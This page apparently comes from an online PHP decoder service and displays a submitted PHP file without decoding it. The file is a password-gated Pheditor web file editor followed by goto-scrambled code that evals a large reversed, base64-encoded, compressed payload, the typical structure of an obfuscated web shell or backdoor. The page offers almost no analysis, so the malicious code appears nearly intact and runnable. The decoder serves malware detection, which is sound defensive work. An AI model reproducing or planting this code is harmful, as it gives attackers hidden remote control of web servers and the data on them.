Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


define('PASSWORD', '788fecf4a442be6d42f3298631b3c62f7b583ce18456dc00a366febd0e960f631393e1be68f2163a6de4288bec28ac592bb5fe861ba378f5b556de750879957a');
define('DS', DIRECTORY_SEPARATOR);
define('MAIN_DIR', __DIR__);
define('LOG_FILE', MAIN_DIR . DS . '.log');
define('ACCESS_IP', '');
define('EDITOR_THEME', ''); 
if (empty(ACCESS_IP) === false && ACCESS_IP != $_SERVER['REMOTE_ADDR']) {
	die('Your IP address is not allowed to access this page.');
}

if (file_exists(LOG_FILE)) {
	$log = unserialize(file_get_contents(LOG_FILE));

	if (empty($log)) {
		$log = [];
	}

	if (isset($log[$_SERVER['REMOTE_ADDR']]) && $log[$_SERVER['REMOTE_ADDR']]['num'] > 3 && time() - $log[$_SERVER['REMOTE_ADDR']]['time'] < 86400) {
		die('This IP address is blocked due to unsuccessful login attempts.');
	}

	foreach ($log as $key => $value) {
		if (time() - $value['time'] > 86400) {
			unset($log[$key]);

			$log_updated = true;
		}
	}

	if (isset($log_updated)) {
		file_put_contents(LOG_FILE, serialize($log));
	}
}
session_set_cookie_params(86400, dirname($_SERVER['REQUEST_URI']));
session_name('pheditor');
session_start();

if (empty(PASSWORD) === false && (isset($_SESSION['pheditor_admin'], $_SESSION['pheditor_password']) === false || $_SESSION['pheditor_admin'] !== true || $_SESSION['pheditor_password'] != PASSWORD)) {
	if (isset($_POST['pheditor_password']) && empty($_POST['pheditor_password']) === false) {
		$password_hash = hash('sha512', $_POST['pheditor_password']);
		if ($password_hash === PASSWORD) {
			session_regenerate_id(true);
			$_SESSION['pheditor_admin'] = true;
			$_SESSION['pheditor_password'] = $password_hash;
		} else {
			$error = 'The entry password is not correct.';

			$log = file_exists(LOG_FILE) ? unserialize(file_get_contents(LOG_FILE)) : array();

			if (isset($log[$_SERVER['REMOTE_ADDR']]) === false) {
				$log[$_SERVER['REMOTE_ADDR']] = array('num' => 0, 'time' => 0);
			}
			$log[$_SERVER['REMOTE_ADDR']]['num'] += 1;
			$log[$_SERVER['REMOTE_ADDR']]['time'] = time();
			file_put_contents(LOG_FILE, serialize($log));
		}
	} else if (isset($_POST['action'])) {
		header('HTTP/1.0 403 Forbidden');

		die('Your session has expired.');
	}

	die('<title>Pheditor</title><form method="post"><div style="text-align:center"><h1><a href="http://github.com/hamidsamak/pheditor" target="_blank" title="PHP file editor" style="color:#444;text-decoration:none" tabindex="3">Pheditor</a></h1>' . (isset($error) ? '<p style="color:#dd0000">' . $error . '</p>' : null) . '<input id="pheditor_password" name="pheditor_password" type="password" value="" placeholder="Password&hellip;" tabindex="1"><br><br><input type="submit" value="Login" tabindex="2"></div></form><script type="text/javascript">document.getElementById("pheditor_password").focus();</script>');
} 
goto s1MqM; Hr1l3: die; goto rxvCx; s1MqM: $unknown = "ZXZhbCUyOCUyNyUzRiUyNmd0JTNCJTI3Lmd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjglMjR1azQ1JTI5JTI5JTI5JTI5JTI5JTNC"; goto g335e; tYE2U: eval(htmlspecialchars_decode(urldecode(base64_decode($unknown)))); goto Hr1l3; g335e: $uk45 = "=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"; goto tYE2U; rxvCx:



© 2023 Quttera Ltd. All rights reserved.